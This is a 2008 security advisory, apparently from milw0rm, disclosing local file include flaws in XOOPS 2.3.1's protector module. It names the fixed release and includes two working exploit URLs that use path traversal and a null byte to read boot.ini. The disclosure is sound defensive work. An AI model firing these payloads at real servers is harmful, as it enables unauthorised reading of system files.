86 lines
No EOL
2.8 KiB
Text
86 lines
No EOL
2.8 KiB
Text
Digital Security Research Group [DSecRG] Advisory #DSECRG-08-040
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Application: XOOPS
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Versions Affected: 2.3.1
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Vendor URL: http://www.xoops.org/
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Bug: Multiple Local File Include
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Exploits: YES
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Reported: 10.11.2008
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Vendor response: 10.11.2008
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Solution: YES
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Date of Public Advisory: 08.12.2008
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Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
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Description
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***********
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XOOPS has Multiple Local File Include vulnerabilities.
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Details
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*******
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Local File Include vulnerability found in scripts:
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xoops_lib/modules/protector/blocks.php
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xoops_lib/modules/protector/main.php
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Successful exploitation requires that "register_globals" is enabled.
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Code
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----
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#################################################
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$mytrustdirname = basename( dirname( __FILE__ ) ) ;
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$mytrustdirpath = dirname( __FILE__ ) ;
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// language files
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$language = empty( $xoopsConfig['language'] ) ? 'english' : $xoopsConfig['language'] ;
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if( file_exists( "$mydirpath/language/$language/main.php" ) ) {
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// user customized language file (already read by common.php)
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// include_once "$mydirpath/language/$language/main.php" ;
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} else if( file_exists( "$mytrustdirpath/language/$language/main.php" ) ) {
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// default language file
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include_once "$mytrustdirpath/language/$language/main.php" ;
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...
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#################################################
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For successful exploitation first condition in if..else statement must be not true.
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Example:
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http://[server]/[installdir]/xoops_lib/modules/protector/blocks.php?mydirpath=DSecRG/DSecRG/DSecRG&xoopsConfig[language]=../../../../../../../boot.ini%00
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http://[server]/[installdir]/xoops_lib/modules/protector/main.php?mydirpath=DSecRG/DSecRG/DSecRG&xoopsConfig[language]=../../../../../../../boot.ini%00
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Solution
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********
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Vendor fixed this flaw on 26.11.2008.
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XOOPS 2.3.2a Security Release can be download from Sourceforge repository:
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https://sourceforge.net/project/showfiles.php?group_id=41586&package_id=153583&release_id=643010
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Release notes:
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http://www.xoops.org/modules/news/article.php?storyid=4540
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About
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*****
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Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
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Contact: research [at] dsec [dot] ru
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http://www.dsec.ru (in Russian)
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# milw0rm.com [2008-12-08] |